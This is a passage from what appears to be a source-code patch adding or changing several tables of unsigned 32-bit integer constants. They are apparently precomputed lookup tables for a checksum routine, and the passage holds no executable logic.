-+ 1396409818u, 2677114180u, 287212199u, 3719594553u, 3614542624u, 467372990u, 2505346141u, 1509854403u, -+ 2162073199u, 1282711281u, 3271268626u, 240228748u, 76845205u, 3359543307u, 1186043880u, 2317064054u, -+ 796964081u, 3811226735u, 1839575948u, 2702160658u, 2882189835u, 1734392469u, 3924802934u, 625327592u, -+ 4234522436u, 818917338u, 3191908409u, 1927981223u, 2016387518u, 3028656416u, 973776579u, 4137723485u, -+ 2857232268u, 1726474002u, 3899187441u, 616751215u, 772270454u, 3803048424u, 1814228491u, 2693328533u, -+ 2041117753u, 3036871847u, 999160644u, 4146592730u, 4259508931u, 826864221u, 3217552830u, 1936586016u, -+ 3606501031u, 442291769u, 2496909786u, 1484378436u, 1388107869u, 2652297411u, 278519584u, 3694387134u, -+ 85183762u, 3384397196u, 1194773103u, 2342308593u, 2170143720u, 1307820918u, 3279733909u, 265733131u, -+ 2057717559u, 3054258089u, 948125770u, 4096344276u, 4276898253u, 843467091u, 3167309488u, 1885556270u, -+ 2839764098u, 1709792284u, 3949353983u, 667704161u, 755585656u, 3785577190u, 1865176325u, 2743489947u, -+ 102594076u, 3401021058u, 1144549729u, 2291298815u, 2186770662u, 1325234296u, 3228729243u, 215514885u, -+ 3589828009u, 424832311u, 2547870420u, 1534552650u, 1370645331u, 2635621325u, 328688686u, 3745342640u, -+ 2211456353u, 1333405183u, 3254067740u, 224338562u, 127544219u, 3408931589u, 1170156774u, 2299866232u, -+ 1345666772u, 2627681866u, 303053225u, 3736746295u, 3565105198u, 416624816u, 2522494803u, 1525692365u, -+ 4285207626u, 868291796u, 3176010551u, 1910772649u, 2065767088u, 3079346734u, 956571085u, 4121828691u, -+ 747507711u, 3760459617u, 1856702594u, 2717976604u, 2831417605u, 1684930971u, 3940615800u, 642451174u, -+ }, -+ { -+ 0u, 393942083u, 787884166u, 965557445u, 1575768332u, 1251427663u, 1931114890u, 1684106697u, -+ 3151536664u, 2896410203u, 2502855326u, 2186649309u, 3862229780u, 4048545623u, 3368213394u, 3753496529u, -+ 2898281073u, 3149616690u, 2184604407u, 2504883892u, 4046197629u, 3864463166u, 3755621371u, 3366006712u, -+ 387506281u, 6550570u, 971950319u, 781573292u, 1257550181u, 1569695014u, 1677892067u, 1937345952u, -+ 2196865699u, 2508887776u, 2886183461u, 3145514598u, 3743273903u, 3362179052u, 4058774313u, 3868258154u, -+ 958996667u, 777139448u, 400492605u, 10755198u, 1690661303u, 1941857780u, 1244879153u, 1565019506u, -+ 775012562u, 961205393u, 13101140u, 398261271u, 1943900638u, 1688634781u, 1563146584u, 1246801179u, -+ 2515100362u, 2190636681u, 3139390028u, 2892258831u, 3355784134u, 3749586821u, 3874691904u, 4052225795u, -+ 3734110983u, 3387496260u, 4033096577u, 3877584834u, 2206093835u, 2483373640u, 2911402637u, 3136515790u, -+ 1699389727u, 1915860316u, 1270647193u, 1556585946u, 950464531u, 803071056u, 374397077u, 19647702u, -+ 1917993334u, 1697207605u, 1554278896u, 1272937907u, 800985210u, 952435769u, 21510396u, 372452543u, -+ 3381322606u, 3740399405u, 3883715560u, 4027047851u, 2489758306u, 2199758369u, 3130039012u, 2917895847u, -+ 1550025124u, 1259902439u, 1922410786u, 1710144865u, 26202280u, 385139947u, 796522542u, 939715693u, -+ 3887801276u, 4039129087u, 3377269562u, 3728088953u, 3126293168u, 2905368307u, 2493602358u, 2212122229u, -+ 4037264341u, 3889747862u, 3730172755u, 3375300368u, 2907673305u, 3124004506u, 2209987167u, 2495786524u, -+ 1266377165u, 1543533966u, 1703758155u, 1928748296u, 379007169u, 32253058u, 945887303u, 790236164u, -+ 1716846671u, 1898845196u, 1218652361u, 1608006794u, 1002000707u, 750929152u, 357530053u, 36990342u, -+ 3717046871u, 3405166100u, 4084959953u, 3825245842u, 2153902939u, 2535122712u, 2929187805u, 3119304606u, -+ 3398779454u, 3723384445u, 3831720632u, 4078468859u, 2541294386u, 2147616625u, 3113171892u, 2935238647u, -+ 1900929062u, 1714877541u, 1606142112u, 1220599011u, 748794154u, 1004184937u, 39295404u, 355241455u, -+ 3835986668u, 4091516591u, 3394415210u, 3710500393u, 3108557792u, 2922629027u, 2545875814u, 2160455461u, -+ 1601970420u, 1208431799u, 1904871538u, 1727077425u, 43020792u, 367748539u, 744905086u, 991776061u, -+ 1214562461u, 1595921630u, 1720903707u, 1911159896u, 361271697u, 49513938u, 998160663u, 738569556u, -+ 4089209477u, 3838277318u, 3712633347u, 3392233024u, 2924491657u, 3106613194u, 2158369551u, 2547846988u, -+ 3100050248u, 2948339467u, 2519804878u, 2169126797u, 3844821572u, 4065347079u, 3420289730u, 3701894785u, -+ 52404560u, 342144275u, 770279894u, 982687125u, 1593045084u, 1233708063u, 1879431386u, 1736363161u, -+ 336019769u, 58479994u, 988899775u, 764050940u, 1240141877u, 1586496630u, 1729968307u, 1885744368u, -+ 2950685473u, 3097818978u, 2166999975u, 2522013668u, 4063474221u, 3846743662u, 3703937707u, 3418263272u, -+ 976650731u, 760059304u, 348170605u, 62635310u, 1742393575u, 1889649828u, 1227683937u, 1582820386u, -+ 2179867635u, 2526361520u, 2937588597u, 3093503798u, 3691148031u, 3413731004u, 4076100217u, 3851374138u, -+ 2532754330u, 2173556697u, 3087067932u, 2944139103u, 3407516310u, 3697379029u, 3857496592u, 4070026835u, -+ 758014338u, 978679233u, 64506116u, 346250567u, 1891774606u, 1740186829u, 1580472328u, 1229917259u, -+ }, { -+ 0u, 4022496062u, 83218493u, 3946298115u, 166436986u, 3861498692u, 220098631u, 3806075769u, -+ 332873972u, 4229245898u, 388141257u, 4175494135u, 440197262u, 4127099824u, 516501683u, 4044053389u, -+ 665747944u, 3362581206u, 593187285u, 3432594155u, 776282514u, 3246869164u, 716239279u, 3312622225u, -+ 880394524u, 3686509090u, 814485793u, 3746462239u, 1033003366u, 3528460888u, 963096923u, 3601193573u, -+ 1331495888u, 2694801646u, 1269355501u, 2758457555u, 1186374570u, 2843003028u, 1111716759u, 2910918825u, -+ 1552565028u, 3007850522u, 1484755737u, 3082680359u, 1432478558u, 3131279456u, 1368666979u, 3193329757u, -+ 1760789048u, 2268195078u, 1812353541u, 2210675003u, 1628971586u, 2396670332u, 1710092927u, 2318375233u, -+ 2066006732u, 2498144754u, 2144408305u, 2417195471u, 1926193846u, 2634877320u, 1983558283u, 2583222709u, -+ 2662991776u, 1903717534u, 2588923805u, 1972223139u, 2538711002u, 2022952164u, 2477029351u, 2087066841u, -+ 2372749140u, 1655647338u, 2308478825u, 1717238871u, 2223433518u, 1799654416u, 2155034387u, 1873894445u, -+ 3105130056u, 1456926070u, 3185661557u, 1378041163u, 2969511474u, 1597852940u, 3020617231u, 1539874097u, -+ 2864957116u, 1157737858u, 2922780289u, 1106542015u, 2737333958u, 1290407416u, 2816325371u, 1210047941u, -+ 3521578096u, 1042640718u, 3574781005u, 986759027u, 3624707082u, 936300340u, 3707335735u, 859512585u, -+ 3257943172u, 770846650u, 3334837433u, 688390023u, 3420185854u, 605654976u, 3475911875u, 552361981u, -+ 4132013464u, 428600998u, 4072428965u, 494812827u, 4288816610u, 274747100u, 4216845791u, 345349857u, -+ 3852387692u, 173846098u, 3781891409u, 245988975u, 3967116566u, 62328360u, 3900749099u, 121822741u, -+ 3859089665u, 164061759u, 3807435068u, 221426178u, 4025395579u, 2933317u, 3944446278u, 81334904u, -+ 4124199413u, 437265099u, 4045904328u, 518386422u, 4231653775u, 335250097u, 4174133682u, 386814604u, -+ 3249244393u, 778691543u, 3311294676u, 714879978u, 3359647891u, 662848429u, 3434477742u, 595039120u, -+ 3531393053u, 1035903779u, 3599308832u, 961245982u, 3684132967u, 877986649u, 3747788890u, 815846244u, -+ 2841119441u, 1184522735u, 2913852140u, 1114616274u, 2696129195u, 1332855189u, 2756082326u, 1266946472u, -+ 3129952805u, 1431118107u, 3195705880u, 1371074854u, 3009735263u, 1554415969u, 3079748194u, 1481855324u, -+ 2398522169u, 1630855175u, 2315475716u, 1707159610u, 2266835779u, 1759461501u, 2213084030u, 1814728768u, -+ 2636237773u, 1927520499u, 2580814832u, 1981182158u, 2496293815u, 2064121993u, 2420095882u, 2147340468u, -+ 2025787041u, 2541577631u, 2085281436u, 2475210146u, 1901375195u, 2660681189u, 1973518054u, 2590184920u, -+ 1801997909u, 2225743211u, 1872600680u, 2153772374u, 1652813359u, 2369881361u, 1719025170u, 2310296876u, -+ 1594986313u, 2966676599u, 1541693300u, 3022402634u, 1459236659u, 3107472397u, 1376780046u, 3184366640u, -+ 1288097725u, 2734990467u, 1211309952u, 2817619134u, 1160605639u, 2867791097u, 1104723962u, 2920993988u, -+ 937561457u, 3626001999u, 857201996u, 3704993394u, 1040821515u, 3519792693u, 989625654u, 3577615880u, -+ 607473029u, 3421972155u, 549494200u, 3473077894u, 769584639u, 3256649409u, 690699714u, 3337180924u, -+ 273452185u, 4287555495u, 347692196u, 4219156378u, 430386403u, 4133832669u, 491977950u, 4069562336u, -+ 60542061u, 3965298515u, 124656720u, 3903616878u, 175139863u, 3853649705u, 243645482u, 3779581716u, -+ }, { -+ 0u, 3247366080u, 1483520449u, 2581751297u, 2967040898u, 1901571138u, 3904227907u, 691737987u, -+ 3133399365u, 2068659845u, 3803142276u, 589399876u, 169513671u, 3415493895u, 1383475974u, 2482566342u, -+ 2935407819u, 1870142219u, 4137319690u, 924099274u, 506443593u, 3751897225u, 1178799752u, 2278412616u, -+ 339027342u, 3585866318u, 1280941135u, 2379694991u, 2766951948u, 1700956620u, 4236308429u, 1024339981u, -+ 2258407383u, 1192382487u, 3740284438u, 528411094u, 910556245u, 4157285269u, 1848198548u, 2946996820u, -+ 1012887186u, 4258378066u, 1681119059u, 2780629139u, 2357599504u, 1292419792u, 3572147409u, 358906641u, -+ 678054684u, 3924071644u, 1879503581u, 2978491677u, 2561882270u, 1497229150u, 3235873119u, 22109855u, -+ 2460592729u, 1395094937u, 3401913240u, 189516888u, 577821147u, 3825075739u, 2048679962u, 3146956762u, -+ 3595049455u, 398902831u, 2384764974u, 1336573934u, 1720805997u, 2803873197u, 1056822188u, 4285729900u, -+ 1821112490u, 2902796138u, 887570795u, 4117339819u, 3696397096u, 500978920u, 2218668777u, 1169222953u, -+ 2025774372u, 3106931428u, 550659301u, 3780950821u, 3362238118u, 166293862u, 2416645991u, 1367722151u, -+ 3262987361u, 66315169u, 2584839584u, 1537170016u, 1923370979u, 3005911075u, 717813282u, 3947244002u, -+ 1356109368u, 2438613496u, 146288633u, 3375820857u, 3759007162u, 562248314u, 3093388411u, 2045739963u, -+ 3927406461u, 731490493u, 2994458300u, 1945440636u, 1523451135u, 2604718911u, 44219710u, 3274466046u, -+ 4263662323u, 1068272947u, 2790189874u, 1740649714u, 1325080945u, 2406874801u, 379033776u, 3608758128u, -+ 1155642294u, 2238671990u, 479005303u, 3708016055u, 4097359924u, 901128180u, 2891217397u, 1843045941u, -+ 2011248031u, 3060787807u, 797805662u, 3993195422u, 3342353949u, 112630237u, 2673147868u, 1591353372u, -+ 3441611994u, 212601626u, 2504944923u, 1421914843u, 2113644376u, 3161815192u, 630660761u, 3826893145u, -+ 3642224980u, 412692116u, 2172340373u, 1089836885u, 1775141590u, 2822790422u, 832715543u, 4029474007u, -+ 1674842129u, 2723860433u, 1001957840u, 4197873168u, 3540870035u, 310623315u, 2338445906u, 1257178514u, -+ 4051548744u, 821257608u, 2836464521u, 1755307081u, 1101318602u, 2150241802u, 432566283u, 3628511179u, -+ 1270766349u, 2318435533u, 332587724u, 3529260300u, 4217841807u, 988411727u, 2735444302u, 1652903566u, -+ 1602977411u, 2651169091u, 132630338u, 3328776322u, 4015131905u, 786223809u, 3074340032u, 1991273216u, -+ 3846741958u, 616972294u, 3173262855u, 2091579847u, 1435626564u, 2485072772u, 234706309u, 3430124101u, -+ 2712218736u, 1613231024u, 4190475697u, 944458353u, 292577266u, 3506339890u, 1226630707u, 2291284467u, -+ 459984181u, 3672380149u, 1124496628u, 2189994804u, 2880683703u, 1782407543u, 4091479926u, 844224694u, -+ 257943739u, 3469817723u, 1462980986u, 2529005242u, 3213269817u, 2114471161u, 3890881272u, 644152632u, -+ 3046902270u, 1947391550u, 3991973951u, 746483711u, 88439420u, 3301680572u, 1563018173u, 2628197501u, -+ 657826727u, 3871046759u, 2136545894u, 3201811878u, 2548879397u, 1449267173u, 3481299428u, 235845156u, -+ 2650161890u, 1551408418u, 3315268387u, 68429027u, 758067552u, 3970035360u, 1967360161u, 3033356129u, -+ 2311284588u, 1213053100u, 3517963949u, 270598509u, 958010606u, 4170500910u, 1635167535u, 2700636911u, -+ 855672361u, 4069415401u, 1802256360u, 2866995240u, 2212099499u, 1113008747u, 3686091882u, 440112042u, -+ }, { -+ 0u, 2611301487u, 3963330207u, 2006897392u, 50740095u, 2560849680u, 4013794784u, 1956178319u, -+ 101480190u, 2645113489u, 3929532513u, 1905435662u, 84561281u, 2662269422u, 3912356638u, 1922342769u, -+ 202960380u, 2545787283u, 3760419683u, 2072395532u, 253679235u, 2495322860u, 3810871324u, 2021655667u, -+ 169122562u, 2444351341u, 3861841309u, 2106214898u, 152215677u, 2461527058u, 3844685538u, 2123133581u, -+ 405920760u, 2207553431u, 4094313831u, 1873742088u, 456646791u, 2157096168u, 4144791064u, 1823027831u, -+ 507358470u, 2241388905u, 4060492697u, 1772322806u, 490444409u, 2258557462u, 4043311334u, 1789215881u, -+ 338245124u, 2408348267u, 4161972379u, 1672996084u, 388959611u, 2357870868u, 4212429796u, 1622269835u, -+ 304431354u, 2306870421u, 4263435877u, 1706791434u, 287538053u, 2324051946u, 4246267162u, 1723705717u, -+ 811841520u, 2881944479u, 3696765295u, 1207788800u, 862293135u, 2831204576u, 3747484176u, 1157324415u, -+ 913293582u, 2915732833u, 3662962577u, 1106318334u, 896137841u, 2932651550u, 3646055662u, 1123494017u, -+ 1014716940u, 2816349795u, 3493905555u, 1273334012u, 1065181555u, 2765630748u, 3544645612u, 1222882179u, -+ 980888818u, 2714919069u, 3595350637u, 1307180546u, 963712909u, 2731826146u, 3578431762u, 1324336509u, -+ 676490248u, 3019317351u, 3295277719u, 1607253752u, 726947703u, 2968591128u, 3345992168u, 1556776327u, -+ 777919222u, 3053147801u, 3261432937u, 1505806342u, 760750473u, 3070062054u, 3244539670u, 1522987897u, -+ 608862708u, 3220163995u, 3362856811u, 1406423812u, 659339915u, 3169449700u, 3413582868u, 1355966587u, -+ 575076106u, 3118709605u, 3464325525u, 1440228858u, 557894773u, 3135602714u, 3447411434u, 1457397381u, -+ 1623683040u, 4217512847u, 2365387135u, 391757072u, 1673614495u, 4167309552u, 2415577600u, 341804655u, -+ 1724586270u, 4251866481u, 2331019137u, 290835438u, 1707942497u, 4268256782u, 2314648830u, 307490961u, -+ 1826587164u, 4152020595u, 2162433155u, 457265388u, 1876539747u, 4101829900u, 2212636668u, 407333779u, -+ 1792275682u, 4051089549u, 2263378557u, 491595282u, 1775619997u, 4067460082u, 2246988034u, 508239213u, -+ 2029433880u, 3813931127u, 2496473735u, 258500328u, 2079362919u, 3763716872u, 2546668024u, 208559511u, -+ 2130363110u, 3848244873u, 2462145657u, 157552662u, 2113730969u, 3864638966u, 2445764358u, 174205801u, -+ 1961777636u, 4014675339u, 2564147067u, 57707284u, 2011718299u, 3964481268u, 2614361092u, 7778411u, -+ 1927425818u, 3913769845u, 2665066885u, 92077546u, 1910772837u, 3930150922u, 2648673018u, 108709525u, -+ 1352980496u, 3405878399u, 3164554895u, 658115296u, 1403183983u, 3355946752u, 3214507504u, 607924639u, -+ 1453895406u, 3440239233u, 3130208369u, 557218846u, 1437504913u, 3456883198u, 3113552654u, 573589345u, -+ 1555838444u, 3340335491u, 2961681267u, 723707676u, 1606028947u, 3290383100u, 3011612684u, 673504355u, -+ 1521500946u, 3239382909u, 3062619533u, 758026722u, 1505130605u, 3256038402u, 3045975794u, 774417053u, -+ 1217725416u, 3543158663u, 2762906999u, 1057739032u, 1267939479u, 3493229816u, 2812847624u, 1007544935u, -+ 1318679830u, 3577493881u, 2728586121u, 956803046u, 1302285929u, 3594125830u, 2711933174u, 973184153u, -+ 1150152212u, 3743982203u, 2830528651u, 856898788u, 1200346475u, 3694041348u, 2880457716u, 806684571u, -+ 1115789546u, 3643069573u, 2931426933u, 891243034u, 1099408277u, 3659722746u, 2914794762u, 907637093u, -+ }, { -+ 0u, 3717650821u, 1616688459u, 3184159950u, 3233376918u, 489665299u, 2699419613u, 2104690264u, -+ 1510200173u, 2274691816u, 979330598u, 3888758691u, 2595928571u, 1194090622u, 4209380528u, 661706037u, -+ 3020400346u, 1771143007u, 3562738577u, 164481556u, 1958661196u, 2837976521u, 350386439u, 3379863682u, -+ 3993269687u, 865250354u, 2388181244u, 1406015865u, 784146209u, 4079732388u, 1323412074u, 2474079215u, -+ 3011398645u, 1860735600u, 3542286014u, 246687547u, 1942430051u, 2924607718u, 328963112u, 3456978349u, -+ 3917322392u, 887832861u, 2300653011u, 1421341782u, 700772878u, 4099025803u, 1234716485u, 2483986112u, -+ 125431087u, 3673109674u, 1730500708u, 3132326369u, 3351283641u, 441867836u, 2812031730u, 2047535991u, -+ 1568292418u, 2163009479u, 1025936137u, 3769651852u, 2646824148u, 1079348561u, 4255113631u, 537475098u, -+ 3180171691u, 1612400686u, 3721471200u, 4717925u, 2100624189u, 2694980280u, 493375094u, 3237910515u, -+ 3884860102u, 974691139u, 2278750093u, 1514417672u, 657926224u, 4204917205u, 1198234907u, 2600289438u, -+ 160053105u, 3558665972u, 1775665722u, 3024116671u, 3375586791u, 346391650u, 2842683564u, 1962488105u, -+ 1401545756u, 2384412057u, 869618007u, 3997403346u, 2469432970u, 1319524111u, 4083956673u, 788193860u, -+ 250862174u, 3546612699u, 1856990997u, 3006903952u, 3461001416u, 333211981u, 2920678787u, 1937824774u, -+ 1425017139u, 2305216694u, 883735672u, 3912918525u, 2487837605u, 1239398944u, 4095071982u, 696455019u, -+ 3136584836u, 1734518017u, 3668494799u, 121507914u, 2051872274u, 2816200599u, 437363545u, 3347544796u, -+ 3774328809u, 1029797484u, 2158697122u, 1564328743u, 542033279u, 4258798842u, 1074950196u, 2642717105u, -+ 2691310871u, 2113731730u, 3224801372u, 497043929u, 1624461185u, 3175454212u, 9435850u, 3709412175u, -+ 4201248378u, 671035391u, 2587181873u, 1201904308u, 986750188u, 3880142185u, 1519135143u, 2266689570u, -+ 342721485u, 3388693064u, 1949382278u, 2846355203u, 3570723163u, 155332830u, 3028835344u, 1763607957u, -+ 1315852448u, 2482538789u, 775087595u, 4087626862u, 2396469814u, 1396827059u, 4002123645u, 857560824u, -+ 320106210u, 3464673127u, 1934154665u, 2933785132u, 3551331444u, 238804465u, 3018961215u, 1852270778u, -+ 1226292623u, 2491507722u, 692783300u, 4108177729u, 2309936921u, 1412959900u, 3924976210u, 879016919u, -+ 2803091512u, 2055541181u, 3343875443u, 450471158u, 1739236014u, 3124525867u, 133568485u, 3663777376u, -+ 4245691221u, 545702608u, 2639048222u, 1088059291u, 1034514883u, 3762268230u, 1576387720u, 2153979149u, -+ 501724348u, 3228659001u, 2109407735u, 2687359090u, 3713981994u, 13109167u, 3171052385u, 1620357860u, -+ 1206151121u, 2591211092u, 666423962u, 4197321503u, 2271022407u, 1523307714u, 3875649548u, 982999433u, -+ 2850034278u, 1953942499u, 3384583981u, 338329256u, 1767471344u, 3033506165u, 151375291u, 3566408766u, -+ 4091789579u, 779425934u, 2478797888u, 1311354309u, 861580189u, 4006375960u, 1392910038u, 2391852883u, -+ 2929327945u, 1930372812u, 3469036034u, 324244359u, 1847629279u, 3015068762u, 243015828u, 3555391761u, -+ 4103744548u, 688715169u, 2496043375u, 1229996266u, 874727090u, 3920994103u, 1417671673u, 2313759356u, -+ 446585235u, 3339223062u, 2059594968u, 2807313757u, 3660002053u, 129100416u, 3128657486u, 1743609803u, -+ 1084066558u, 2634765179u, 549535669u, 4250396208u, 2149900392u, 1571961325u, 3765982499u, 1039043750u, -+ }, { -+ 0u, 2635063670u, 3782132909u, 2086741467u, 430739227u, 2225303149u, 4173482934u, 1707977408u, -+ 861478454u, 2924937024u, 3526875803u, 1329085421u, 720736557u, 3086643291u, 3415954816u, 1452586230u, -+ 1722956908u, 4223524122u, 2279405761u, 450042295u, 2132718455u, 3792785921u, 2658170842u, 58693292u, -+ 1441473114u, 3370435372u, 3028674295u, 696911745u, 1279765825u, 3511176247u, 2905172460u, 807831706u, -+ 3445913816u, 1349228974u, 738901109u, 2969918723u, 3569940419u, 1237784245u, 900084590u, 2829701656u, -+ 4265436910u, 1664255896u, 525574723u, 2187084597u, 3885099509u, 2057177219u, 117386584u, 2616249390u, -+ 2882946228u, 920233410u, 1253605401u, 3619119471u, 2994391983u, 796207833u, 1393823490u, 3457937012u, -+ 2559531650u, 92322804u, 2044829231u, 3840835417u, 2166609305u, 472659183u, 1615663412u, 4249022530u, -+ 1102706673u, 3702920839u, 2698457948u, 1037619754u, 1477802218u, 3306854812u, 3111894087u, 611605809u, -+ 1927342535u, 4025419953u, 2475568490u, 243387420u, 1800169180u, 4131620778u, 2317525617u, 388842247u, -+ 655084445u, 3120835307u, 3328511792u, 1533734470u, 1051149446u, 2745738736u, 3754524715u, 1120297309u, -+ 340972971u, 2304586973u, 4114354438u, 1748234352u, 234773168u, 2431761350u, 3968900637u, 1906278251u, -+ 2363330345u, 299003487u, 1840466820u, 4038896370u, 2507210802u, 142532932u, 1948239007u, 3910149609u, -+ 3213136159u, 579563625u, 1592415666u, 3286611140u, 2787646980u, 992477042u, 1195825833u, 3662232543u, -+ 3933188933u, 2002801203u, 184645608u, 2517538462u, 4089658462u, 1858919720u, 313391347u, 2409765253u, -+ 3644239219u, 1144605701u, 945318366u, 2773977256u, 3231326824u, 1570095902u, 569697989u, 3170568115u, -+ 2205413346u, 511446676u, 1646078799u, 4279421497u, 2598330617u, 131105167u, 2075239508u, 3871229218u, -+ 2955604436u, 757403810u, 1363424633u, 3427521551u, 2844163791u, 881434553u, 1223211618u, 3588709140u, -+ 3854685070u, 2026779384u, 78583587u, 2577462869u, 4235025557u, 1633861091u, 486774840u, 2148301134u, -+ 3600338360u, 1268198606u, 938871061u, 2868504675u, 3476308643u, 1379640277u, 777684494u, 3008718712u, -+ 1310168890u, 3541595724u, 2943964055u, 846639841u, 1471879201u, 3400857943u, 3067468940u, 735723002u, -+ 2102298892u, 3762382970u, 2619362721u, 19901655u, 1692534295u, 4193118049u, 2240594618u, 411247564u, -+ 681945942u, 3047836192u, 3385552891u, 1422167693u, 822682701u, 2886124859u, 3496468704u, 1298661782u, -+ 469546336u, 2264093718u, 4203901389u, 1738379451u, 38812283u, 2673859341u, 3812556502u, 2117148576u, -+ 3268024339u, 1606809957u, 598006974u, 3198893512u, 3680933640u, 1181316734u, 973624229u, 2802299603u, -+ 4052944421u, 1822222163u, 285065864u, 2381456382u, 3896478014u, 1966106696u, 156323219u, 2489232613u, -+ 2759337087u, 964150537u, 1159127250u, 3625517476u, 3184831332u, 551242258u, 1555722185u, 3249901247u, -+ 2535537225u, 170842943u, 1984954084u, 3946848146u, 2391651666u, 327308324u, 1877176831u, 4075589769u, -+ 263086283u, 2460058045u, 4005602406u, 1942963472u, 369291216u, 2332888742u, 4151061373u, 1784924683u, -+ 1022852861u, 2717425547u, 3717839440u, 1083595558u, 626782694u, 3092517008u, 3291821387u, 1497027645u, -+ 1763466407u, 4094934481u, 2289211402u, 360544636u, 1890636732u, 3988730570u, 2447251217u, 215086695u, -+ 1514488465u, 3343557607u, 3140191804u, 639919946u, 1139395978u, 3739626748u, 2726758695u, 1065936977u, -+ }, { -+ 0u, 3120290792u, 2827399569u, 293431929u, 2323408227u, 864534155u, 586863858u, 2600537882u, -+ 3481914503u, 1987188591u, 1729068310u, 3740575486u, 1173727716u, 4228805132u, 3983743093u, 1418249117u, -+ 1147313999u, 4254680231u, 3974377182u, 1428157750u, 3458136620u, 2011505092u, 1721256893u, 3747844181u, -+ 2347455432u, 839944224u, 594403929u, 2593536433u, 26687147u, 3094146371u, 2836498234u, 283794642u, -+ 2294627998u, 826205558u, 541298447u, 2578994407u, 45702141u, 3141697557u, 2856315500u, 331624836u, -+ 1196225049u, 4273416689u, 4023010184u, 1446090848u, 3442513786u, 1959480466u, 1706436331u, 3696098563u, -+ 3433538001u, 1968994873u, 1679888448u, 3722103720u, 1188807858u, 4280295258u, 3999102243u, 1470541515u, -+ 53374294u, 3134568126u, 2879970503u, 307431215u, 2303854645u, 816436189u, 567589284u, 2553242188u, -+ 3405478781u, 1929420949u, 1652411116u, 3682996484u, 1082596894u, 4185703926u, 3892424591u, 1375368295u, -+ 91404282u, 3163122706u, 2918450795u, 336584067u, 2400113305u, 922028401u, 663249672u, 2658384096u, -+ 2392450098u, 929185754u, 639587747u, 2682555979u, 82149713u, 3172883129u, 2892181696u, 362343208u, -+ 1091578037u, 4176212829u, 3918960932u, 1349337804u, 3412872662u, 1922537022u, 1676344391u, 3658557359u, -+ 1111377379u, 4224032267u, 3937989746u, 1396912026u, 3359776896u, 1908013928u, 1623494929u, 3644803833u, -+ 2377615716u, 877417100u, 623982837u, 2630542109u, 130804743u, 3190831087u, 2941083030u, 381060734u, -+ 106748588u, 3215393092u, 2933549885u, 388083925u, 2350956495u, 903570471u, 614862430u, 2640172470u, -+ 3386185259u, 1882115523u, 1632872378u, 3634920530u, 1135178568u, 4199721120u, 3945775833u, 1389631793u, -+ 1317531835u, 4152109907u, 3858841898u, 1610259138u, 3304822232u, 2097172016u, 1820140617u, 3582394273u, -+ 2165193788u, 955639764u, 696815021u, 2423477829u, 192043359u, 2995356343u, 2750736590u, 437203750u, -+ 182808564u, 3005133852u, 2724453989u, 462947725u, 2157513367u, 962777471u, 673168134u, 2447663342u, -+ 3312231283u, 2090301595u, 1844056802u, 3557935370u, 1326499344u, 4142603768u, 3885397889u, 1584245865u, -+ 3326266917u, 2142836173u, 1858371508u, 3611272284u, 1279175494u, 4123357358u, 3837270743u, 1564721471u, -+ 164299426u, 2955991370u, 2706223923u, 414607579u, 2209834945u, 978107433u, 724686416u, 2462715320u, -+ 2183156074u, 1004243586u, 715579643u, 2472360723u, 140260361u, 2980573153u, 2698675608u, 421617264u, -+ 1302961645u, 4099032581u, 3845074044u, 1557460884u, 3352688782u, 2116952934u, 1867729183u, 3601371895u, -+ 2222754758u, 1032278062u, 754596439u, 2499928511u, 234942117u, 3086693709u, 2793824052u, 528319708u, -+ 1274365761u, 4061043881u, 3816027856u, 1518873912u, 3246989858u, 2020800970u, 1762628531u, 3505670235u, -+ 3223196809u, 2045103969u, 1754834200u, 3512958704u, 1247965674u, 4086934018u, 3806642299u, 1528765331u, -+ 261609486u, 3060532198u, 2802936223u, 518697591u, 2246819181u, 1007707781u, 762121468u, 2492913428u, -+ 213497176u, 3041029808u, 2755593417u, 499441441u, 2261110843u, 1061030867u, 776167850u, 2545465922u, -+ 3274734047u, 2060165687u, 1807140942u, 3528266662u, 1229724860u, 4038575956u, 3788156205u, 1479636677u, -+ 1222322711u, 4045468159u, 3764231046u, 1504067694u, 3265744756u, 2069664924u, 1780612837u, 3554288909u, -+ 2270357136u, 1051278712u, 802445057u, 2519698665u, 221152243u, 3033880603u, 2779263586u, 475261322u, -+ }, { -+ 0u, 2926088593u, 2275419491u, 701019378u, 3560000647u, 2052709654u, 1402038756u, 4261017717u, -+ 1930665807u, 3715829470u, 4105419308u, 1524313021u, 2804077512u, 155861593u, 545453739u, 2397726522u, -+ 3861331614u, 1213181711u, 1636244477u, 3488582252u, 840331801u, 2625561480u, 3048626042u, 467584747u, -+ 2503254481u, 995897408u, 311723186u, 3170637091u, 1090907478u, 4016929991u, 3332753461u, 1758288292u, -+ 390036349u, 3109546732u, 2426363422u, 1056427919u, 3272488954u, 1835443819u, 1152258713u, 3938878216u, -+ 1680663602u, 3393484195u, 3817652561u, 1306808512u, 2954733749u, 510998820u, 935169494u, 2580880455u, -+ 4044899811u, 1601229938u, 1991794816u, 3637571857u, 623446372u, 2336332021u, 2726898695u, 216120726u, -+ 2181814956u, 744704829u, 95158223u, 2881711710u, 1446680107u, 4166125498u, 3516576584u, 2146575065u, -+ 780072698u, 2148951915u, 2849952665u, 129384968u, 4199529085u, 1411853292u, 2112855838u, 3548843663u, -+ 1567451573u, 4077254692u, 3670887638u, 1957027143u, 2304517426u, 657765539u, 251396177u, 2694091200u, -+ 3361327204u, 1714510325u, 1341779207u, 3784408214u, 476611811u, 2986349938u, 2613617024u, 899690513u, -+ 3142211371u, 354600634u, 1021997640u, 2458051545u, 1870338988u, 3239283261u, 3906682575u, 1186180958u, -+ 960597383u, 2536053782u, 3202459876u, 277428597u, 3983589632u, 1125666961u, 1792074851u, 3300423154u, -+ 1246892744u, 3829039961u, 3455203243u, 1671079482u, 2657312335u, 806080478u, 432241452u, 3081497277u, -+ 3748049689u, 1896751752u, 1489409658u, 4138600427u, 190316446u, 2772397583u, 2365053693u, 580864876u, -+ 2893360214u, 35503559u, 735381813u, 2243795108u, 2017747153u, 3593269568u, 4293150130u, 1368183843u, -+ 1560145396u, 4069882981u, 3680356503u, 1966430470u, 2295112051u, 648294626u, 258769936u, 2701399425u, -+ 804156091u, 2173100842u, 2823706584u, 103204425u, 4225711676u, 1438101421u, 2088704863u, 3524758222u, -+ 3134903146u, 347226875u, 1031468553u, 2467456920u, 1860935661u, 3229814396u, 3914054286u, 1193487135u, -+ 3385412645u, 1738661300u, 1315531078u, 3758225623u, 502792354u, 3012596019u, 2589468097u, 875607120u, -+ 1271043721u, 3853125400u, 3429020650u, 1644831355u, 2683558414u, 832261023u, 408158061u, 3057348348u, -+ 953223622u, 2528745559u, 3211865253u, 286899508u, 3974120769u, 1116263632u, 1799381026u, 